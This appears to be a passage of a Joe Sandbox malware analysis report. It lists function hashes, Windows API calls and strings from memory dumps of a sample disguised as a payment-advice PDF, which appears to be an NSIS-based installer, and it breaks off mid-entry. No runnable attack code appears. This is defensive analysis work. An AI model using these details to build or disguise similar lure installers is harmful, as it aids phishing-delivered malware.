Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcc719d1a434956c7ed4061d451de80d70f30b93f7735cef1e5ebbf6819af3b0
Instruction ID: b82f6e3b861e799a69a8b6aa278af8ce6e4a4a0f3eb2970d89abe5eda8ddbede
Opcode Fuzzy Hash: fcc719d1a434956c7ed4061d451de80d70f30b93f7735cef1e5ebbf6819af3b0
Instruction Fuzzy Hash: 6AE06D74D04208DBC704DFB9E44869CBFF5AB49301F2081AAD854A3310EB314A52CB40

Function 0016FE20 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 727292249a157f904c06486094778c0a4466978fa78186c29a40a1166aea23a8
Instruction ID: 5e8b9a007f45872b2a26f9629505b99a76f91d7276df3db0062ca3dc420edb72
Opcode Fuzzy Hash: 727292249a157f904c06486094778c0a4466978fa78186c29a40a1166aea23a8
Instruction Fuzzy Hash: F4E09A78D04208DFCB04DFB9E84869CBBF5EB48301F2080BAD818A3320EB318E52CB40

Function 0016FF22 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6aee86b38dbb0d8e13d6391616d3752aeaf94b46d8a6e21105b78213c02abb7b
Instruction ID: 63504ca67742cbff6680a5e293b7ab52dd55b051c3fa22f2b2b1ab5ac3cf3f0f
Opcode Fuzzy Hash: 6aee86b38dbb0d8e13d6391616d3752aeaf94b46d8a6e21105b78213c02abb7b
Instruction Fuzzy Hash: DDE0C27090A349AFC341ABA8D9117D47B789B03211F0040D9E818A3262EB340E21C7D2

Function 3752CF30 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23c9b17f8e7964a7ea2696dd4457b8e21164169308a132c3b9655b77ca943ba1
Instruction ID: f57ecd1214b4b375ec5bdbd9211e1b64b5b69a3a8cdf794bf3dcbef8376aaa3f
Opcode Fuzzy Hash: 23c9b17f8e7964a7ea2696dd4457b8e21164169308a132c3b9655b77ca943ba1
Instruction Fuzzy Hash: 7DD05E3110C6904FC712C634D8515C47F709F5362872552DAD085CBA73D16298058742

Function 00161888 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9768c843c6cf7b719e27ae9abf7289aa815758d372dbcb51443f0708865070a1
Instruction ID: 38500f3bade9f6392afe9a83f925e0f025d31839c3fe1b8d4446b912d8b1d3f2
Opcode Fuzzy Hash: 9768c843c6cf7b719e27ae9abf7289aa815758d372dbcb51443f0708865070a1
Instruction Fuzzy Hash: 72D01231D2022A578B00AAA5DC044EEB738EE95665B504626D55437140EB70665986A2

Function 0016FFB0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 893bc30d9f8f4c83963473880dacabbcc01be3a79c81398412d7ac0d8fc5aee9
Instruction ID: c563216b3056e4df836b3a080443e244e88b6c5fe60af0b8bc46211c8c5af087
Opcode Fuzzy Hash: 893bc30d9f8f4c83963473880dacabbcc01be3a79c81398412d7ac0d8fc5aee9
Instruction Fuzzy Hash: 7AD05B3910D3965FD7038B349951585BF739F97100B1985DFE4C4C66B2D1148D268753

Function 3752D095 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6cc68e23fb2782e03886c0c5989c6fa81e5df901dc68d4eb07d47412e8ed7bc
Instruction ID: de26ddf676e26856c117091e21c1604c30d780434e5584a4f249de73bb77a125
Opcode Fuzzy Hash: c6cc68e23fb2782e03886c0c5989c6fa81e5df901dc68d4eb07d47412e8ed7bc
Instruction Fuzzy Hash: 62D0972210E7D00FCB0382283814C8DAFB00EC621030945FBE05CCF1E28B880A4E838A

Function 001656FF Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a212d01ee95a6a55e9e75721ff096e57f37a07625c81020d8706a878ed2b189c
Instruction ID: aa470af908a29f0dbff1d22c1f357ea5c926832f27d12b601a4ffd4617f62aae
Opcode Fuzzy Hash: a212d01ee95a6a55e9e75721ff096e57f37a07625c81020d8706a878ed2b189c
Instruction Fuzzy Hash: 53D0C73508C3444FCB12E732ACA01867B6BAB80200B00962294010EABEEE704A8B9BB1

Function 00169F6D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83b13388d50827cd53a6f6f89801b818a971615e33dee14466e5ff0877cb4df8
Instruction ID: 5919d8ebfba8660f8dd2b4e225a474b3584f78dd0ff98eb8b12f9d8a5fcbbdf1
Opcode Fuzzy Hash: 83b13388d50827cd53a6f6f89801b818a971615e33dee14466e5ff0877cb4df8
Instruction Fuzzy Hash: 8ED0673AB40018EFCB049F99EC808DDF7B6FB98221B148116F915A3261C6319965DB54

Function 375295D8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 450156ac775ee63337cbfd69b99c47a03408dfdb5cde4e86388df78e669632dc
Instruction ID: 619023d53a0819196b033ee0d4f38ad8be56674d3abf97247eef3534b2c95d8d
Opcode Fuzzy Hash: 450156ac775ee63337cbfd69b99c47a03408dfdb5cde4e86388df78e669632dc
Instruction Fuzzy Hash: 10C0C0322416101F4618A31CB4404DEC6C0CDC6310310CD37F014D322C0E00AC8B41CD

Function 0016FF30 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a973fcf65ebe6c431c0443340d881c80fc04029371f81be75a87513a18e8d77d
Instruction ID: f27c280536d17c3df8e00bb2af03d5fe7311be52d40146606c4cd409fce6bb40
Opcode Fuzzy Hash: a973fcf65ebe6c431c0443340d881c80fc04029371f81be75a87513a18e8d77d
Instruction Fuzzy Hash: C2D0C9709062099BC744DBA8E805AA9B778AB47316F4051A8A51863251DB715E10D695

Function 3752BD48 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a78931b592fb8559b87fb61f76388bd748e500650dac2fea06115f1527c6844
Instruction ID: aa12547682f5859112b982ad1be94df4d411666d0235f09ba17ca5cccdd971c7
Opcode Fuzzy Hash: 2a78931b592fb8559b87fb61f76388bd748e500650dac2fea06115f1527c6844
Instruction Fuzzy Hash: D1C08C74001E0A8BE2482F90BC0CBB9B7B8B707323FC82D10F10C028708BB85414DB44

Function 375294B4 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c878e3c606e5dd4146857613123572fca22efa034998e06f2af300ae5eaf3b5
Instruction ID: bca7df8720ac2bd924a9abb94085782868891e6498574a48cf80c1ed5bb4a033
Opcode Fuzzy Hash: 4c878e3c606e5dd4146857613123572fca22efa034998e06f2af300ae5eaf3b5
Instruction Fuzzy Hash: 73C08C302A82048FE300AB1DC984A2173ACEF85B04F2018E0F2048BA7ACB22FC004A44

Function 00165710 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2933284571.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28bae3f6c56e6336679db68a813769f762f8486db5cef704548a15346f6e2767
Instruction ID: df43322672d36149ad5718bdc14c13893e026c77f3420c79a8695e0c95576dc1
Opcode Fuzzy Hash: 28bae3f6c56e6336679db68a813769f762f8486db5cef704548a15346f6e2767
Instruction Fuzzy Hash: C0C012300543084EC705E766ED55555B72EA7802007408620A1050667EDFB4598B4BE0

Non-executed Functions

Function 004032A0 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 401stringfilecomCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 004032C2
GetVersion.KERNEL32 ref: 004032C8
#17.COMCTL32(00000007,00000009,SETUPAPI,USERENV,UXTHEME), ref: 00403318
OleInitialize.OLE32(00000000), ref: 0040331F
SHGetFileInfoW.SHELL32(0042B228,00000000,?,000002B4,00000000), ref: 0040333B
GetCommandLineW.KERNEL32(00433F00,NSIS Error), ref: 00403350
GetModuleHandleW.KERNEL32(00000000,0043F000,00000000), ref: 00403363
CharNextW.USER32(00000000,0043F000,00000020), ref: 0040338A

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetTempPathW.KERNEL32(00000400,00441800), ref: 004034C5
GetWindowsDirectoryW.KERNEL32(00441800,000003FB), ref: 004034D6
lstrcatW.KERNEL32(00441800,\Temp), ref: 004034E2
GetTempPathW.KERNEL32(000003FC,00441800,00441800,\Temp), ref: 004034F6
lstrcatW.KERNEL32(00441800,Low), ref: 004034FE
SetEnvironmentVariableW.KERNEL32(TEMP,00441800,00441800,Low), ref: 0040350F
SetEnvironmentVariableW.KERNEL32(TMP,00441800), ref: 00403517
DeleteFileW.KERNEL32(00441000), ref: 0040352B

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

OleUninitialize.OLE32(?), ref: 004035F6
ExitProcess.KERNEL32 ref: 00403618
lstrcatW.KERNEL32(00441800,~nsu,0043F000,00000000,?), ref: 0040362B
lstrcatW.KERNEL32(00441800,0040A26C,00441800,~nsu,0043F000,00000000,?), ref: 0040363A
lstrcatW.KERNEL32(00441800,.tmp,00441800,~nsu,0043F000,00000000,?), ref: 00403645
lstrcmpiW.KERNEL32(00441800,00440800,00441800,.tmp,00441800,~nsu,0043F000,00000000,?), ref: 00403651
SetCurrentDirectoryW.KERNEL32(00441800,00441800), ref: 0040366D
DeleteFileW.KERNEL32(0042AA28,0042AA28,?,00435000,?), ref: 004036C7
CopyFileW.KERNEL32(00442800,0042AA28,00000001), ref: 004036DB
CloseHandle.KERNEL32(00000000,0042AA28,0042AA28,?,0042AA28,00000000), ref: 00403708
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403737
OpenProcessToken.ADVAPI32(00000000), ref: 0040373E
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403753
AdjustTokenPrivileges.ADVAPI32 ref: 00403776
ExitWindowsEx.USER32(00000002,80040002), ref: 0040379B
ExitProcess.KERNEL32 ref: 004037BE

Strings

TMP, xrefs: 00403512
.tmp, xrefs: 0040363F
~nsu, xrefs: 00403623
SETUPAPI, xrefs: 004032FB
USERENV, xrefs: 004032F1
Low, xrefs: 004034F8
UXTHEME, xrefs: 004032E7
TEMP, xrefs: 0040350A
NSIS Error, xrefs: 00403341
\Temp, xrefs: 004034DC
SeShutdownPrivilege, xrefs: 0040374D
Error launching installer, xrefs: 004035AD

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpyn
String ID: .tmp$Error launching installer$Low$NSIS Error$SETUPAPI$SeShutdownPrivilege$TEMP$TMP$USERENV$UXTHEME$\Temp$~nsu
API String ID: 3586999533-3972089011
Opcode ID: b76b61fe59c96232ee09de7477e4ba1d3ea630d83fddd21a04d7d9ff3721efeb
Instruction ID: 84ba5929d45b1413e1818888a5ef7abe037fd34abcf77f3f73da9f6cce4da4cf
Opcode Fuzzy Hash: b76b61fe59c96232ee09de7477e4ba1d3ea630d83fddd21a04d7d9ff3721efeb
Instruction Fuzzy Hash: 35D1F870500300ABD310BF659D49A3B3AADEB8174AF51443FF581B62E2DB7D8945876E

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B48
GetDlgItem.USER32(?,00000408), ref: 00404B53
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B9D
LoadBitmapW.USER32(0000006E), ref: 00404BB0
SetWindowLongW.USER32(?,000000FC,00405128), ref: 00404BC9
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BDD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BEF
SendMessageW.USER32(?,00001109,00000002), ref: 00404C05
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404C11
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C23
DeleteObject.GDI32(00000000), ref: 00404C26
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C51
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C5D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CF3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404D1E
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D32
GetWindowLongW.USER32(?,000000F0), ref: 00404D61
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D6F
ShowWindow.USER32(?,00000005), ref: 00404D80
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E7D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EE2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404EF7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404F1B
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F3B
ImageList_Destroy.COMCTL32(?), ref: 00404F50
GlobalFree.KERNEL32(?), ref: 00404F60
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FD9
SendMessageW.USER32(?,00001102,?,?), ref: 00405082
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405091
InvalidateRect.USER32(?,00000000,00000001), ref: 004050B1
ShowWindow.USER32(?,00000000), ref: 004050FF
GetDlgItem.USER32(?,000003FE), ref: 0040510A
ShowWindow.USER32(00000000), ref: 00405111

Strings

, xrefs: 004050E9
N, xrefs: 00404DBB
M, xrefs: 00404CDA

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 4cbb5e0717cdc748ffed23d4a8be9d35437acf42fd757cc9a3c8c6ab170577e7
Instruction ID: 943130f726a074c81f80d4b2a4465e83a32f395645510c1f9de1d6fa8cfacfb7
Opcode Fuzzy Hash: 4cbb5e0717cdc748ffed23d4a8be9d35437acf42fd757cc9a3c8c6ab170577e7
Instruction Fuzzy Hash: 0A028FB0900209EFDB209F64DD85AAE7BB5FB84314F14857AF610BA2E1C7789D42DF58

Function 3752AFF8 Relevance: 23.0, Strings: 18, Instructions: 461COMMON

Download Yara Rule

Strings

PH^q, xrefs: 3752B43D
PH^q, xrefs: 3752B62D
PH^q, xrefs: 3752B345
Ljs, xrefs: 3752B2AB
Ljs, xrefs: 3752B3B9
Ljs, xrefs: 3752B5A6
PH^q, xrefs: 3752B331
PH^q, xrefs: 3752B429
0os, xrefs: 3752B147
PH^q, xrefs: 3752B51E
Ljs, xrefs: 3752B590
PH^q, xrefs: 3752B619
PH^q, xrefs: 3752B532
Ljs, xrefs: 3752B3A3
", xrefs: 3752B7CE
Ljs, xrefs: 3752B4AE
Ljs, xrefs: 3752B2C1
Ljs, xrefs: 3752B498

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: "$0os$Ljs$Ljs$Ljs$Ljs$Ljs$Ljs$Ljs$Ljs$PH^q$PH^q$PH^q$PH^q$PH^q$PH^q$PH^q$PH^q
API String ID: 0-2607182740
Opcode ID: 1353f00c5d23f0aad6af724525f1e403d63bfdcd560c8e15774a8f0ff9506f92
Instruction ID: bede6d2f124cbce75b07435d2da33ab70f5a1a99f59787ad33b17f507bf49768
Opcode Fuzzy Hash: 1353f00c5d23f0aad6af724525f1e403d63bfdcd560c8e15774a8f0ff9506f92
Instruction Fuzzy Hash: 41329F74E00218CFEB58CF65C994B9DBBB2BF89300F1085A9D409AB365DB759E85DF10

Function 00405846 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,74DF3420,00441800,0043F000), ref: 0040586F
lstrcatW.KERNEL32(0042F270,\*.*,0042F270,?,?,74DF3420,00441800,0043F000), ref: 004058B7
lstrcatW.KERNEL32(?,0040A014,?,0042F270,?,?,74DF3420,00441800,0043F000), ref: 004058DA
lstrlenW.KERNEL32(?,?,0040A014,?,0042F270,?,?,74DF3420,00441800,0043F000), ref: 004058E0
FindFirstFileW.KERNEL32(0042F270,?,?,?,0040A014,?,0042F270,?,?,74DF3420,00441800,0043F000), ref: 004058F0
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,0040A300,0000002E), ref: 00405990
FindClose.KERNEL32(00000000), ref: 0040599F

Strings

\*.*, xrefs: 004058B1

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 2035342205-1173974218
Opcode ID: 758a93316bd333329ed0a6d4f3bd80d9b1b6158e35c963d2e10a1872ebc8ab6d
Instruction ID: 3422579b2d55acfa562187ab3f611d485c5dde76635b84dd87a68d04928cc13f
Opcode Fuzzy Hash: 758a93316bd333329ed0a6d4f3bd80d9b1b6158e35c963d2e10a1872ebc8ab6d
Instruction Fuzzy Hash: 4541F270900A04EADF21AB618C89BBF7678EF41724F14823BF801B51D1D77C49859E6E

Function 3752AFF7 Relevance: 12.9, Strings: 10, Instructions: 361COMMON

Download Yara Rule

Strings

PH^q, xrefs: 3752B331
PH^q, xrefs: 3752B429
PH^q, xrefs: 3752B51E
PH^q, xrefs: 3752B43D
0os, xrefs: 3752B147
PH^q, xrefs: 3752B62D
PH^q, xrefs: 3752B619
PH^q, xrefs: 3752B345
PH^q, xrefs: 3752B532
", xrefs: 3752B7CE

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: "$0os$PH^q$PH^q$PH^q$PH^q$PH^q$PH^q$PH^q$PH^q
API String ID: 0-1369156558
Opcode ID: 81dc3381992235758611658e52e03e17b140734022e55458381fa68cfb589d60
Instruction ID: 971cac2fb82609ec77ded863ec3a9f37faa6c74ba0b8c214136758392ff3e971
Opcode Fuzzy Hash: 81dc3381992235758611658e52e03e17b140734022e55458381fa68cfb589d60
Instruction Fuzzy Hash: 66029F74E012188FEB58CF65C994BDDBBB2BF89300F1081A9D509AB365DB759E85CF10

Function 37527B4F Relevance: 3.1, Strings: 2, Instructions: 611COMMON

Download Yara Rule

Strings

.5vq, xrefs: 37527C7B
BH7, xrefs: 375283D4

Memory Dump Source

Source File: 00000004.00000002.2960970326.0000000037520000.00000040.00000800.00020000.00000000.sdmp, Offset: 37520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37520000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: .5vq$BH7
API String ID: 0-2157507558
Opcode ID: 60bebd03db6b6958938878dfcbf087bad1b5aacd82820708831ec7b8e5c4f631
Instruction ID: 914fa3645d14ed66d500b4c50f0f8c1faee3f90faf0e9d4f20ea573f03366f4e
Opcode Fuzzy Hash: 60bebd03db6b6958938878dfcbf087bad1b5aacd82820708831ec7b8e5c4f631
Instruction Fuzzy Hash: C3629E74E01268CFDB64DF65C884B9DBBB2BB89301F1085EAD409A7355DB31AE82DF50

Function 3747DEE1 Relevance: 1.5, Strings: 1, Instructions: 274COMMON

Download Yara Rule

Strings

Q7,, xrefs: 3747DEE9

Memory Dump Source

Source File: 00000004.00000002.2960763460.0000000037470000.00000040.00000800.00020000.00000000.sdmp, Offset: 37470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37470000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID: Q7,
API String ID: 0-4224115770
Opcode ID: e15a3b873234bc409ea66bbdcc10989aaa0a2ec37b2ae88d79c9cb5a1a5df6bb
Instruction ID: a740f1b9d561c0669cbc462485a917ddded2f24446b7fe0250ad9c668f693817
Opcode Fuzzy Hash: e15a3b873234bc409ea66bbdcc10989aaa0a2ec37b2ae88d79c9cb5a1a5df6bb
Instruction Fuzzy Hash: FCC1B074E00258CFDB54DFA5C994BDDBBB2AF89300F2081A9D418BB355DB35AA86CF50

Function 3747F042 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960763460.0000000037470000.00000040.00000800.00020000.00000000.sdmp, Offset: 37470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37470000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f05d1ed6d233952a6447d2705b59b2e0bddcb7f27caca3a39c38a2f468a2a9c2
Instruction ID: ff2ff46970a15a2409d4db49ce41865f2f4c0070b2551f551ca0506efdb7424c
Opcode Fuzzy Hash: f05d1ed6d233952a6447d2705b59b2e0bddcb7f27caca3a39c38a2f468a2a9c2
Instruction Fuzzy Hash: 21C1BF74E00218CFDB54DFA5C994BDDBBB2AF89300F1081A9D418BB365DB35AA86CF51

Function 3747BD88 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960763460.0000000037470000.00000040.00000800.00020000.00000000.sdmp, Offset: 37470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37470000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f9739d2f43891c992e9e36a898a56358fa0005291bae1d1804138fd470ea835
Instruction ID: 5aeb33ef5351b3d1b356b31ec0ce99df1846f92c6fe9e71499be82f7badf6619
Opcode Fuzzy Hash: 0f9739d2f43891c992e9e36a898a56358fa0005291bae1d1804138fd470ea835
Instruction Fuzzy Hash: 82C1C074E00218CFDB54DFA5C984BDDBBB2AF89300F1081A9D418BB364DB35AA86CF50

Function 3747B07F Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960763460.0000000037470000.00000040.00000800.00020000.00000000.sdmp, Offset: 37470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37470000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd2173bbd01d025868117e7f17c9ce32a51787844ecd088f28163dc4f0a96618
Instruction ID: 06dc8dea9746a3a56f4be926016fb3743faacadac41a6c0a17600ff34369d7b1
Opcode Fuzzy Hash: fd2173bbd01d025868117e7f17c9ce32a51787844ecd088f28163dc4f0a96618
Instruction Fuzzy Hash: 33C1C074E01258CFDB54DFA5C994BDDBBB2AF89300F1080A9D418BB364DB35AA86CF51

Function 3747E339 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960763460.0000000037470000.00000040.00000800.00020000.00000000.sdmp, Offset: 37470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37470000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 854526ae3d230f20e7dffb6dfd21ad8ba2cb436953acc961add790bad1e4ba3a
Instruction ID: de889aff7f2752a986fadd8cc7c4a11f48c6c675f9158b104a9e3bdac27db875
Opcode Fuzzy Hash: 854526ae3d230f20e7dffb6dfd21ad8ba2cb436953acc961add790bad1e4ba3a
Instruction Fuzzy Hash: F9C1C074E00258CFDB54DFA5C984BDDBBB2AF89300F1081A9D418BB365DB35AA86CF51

Function 3747DA89 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

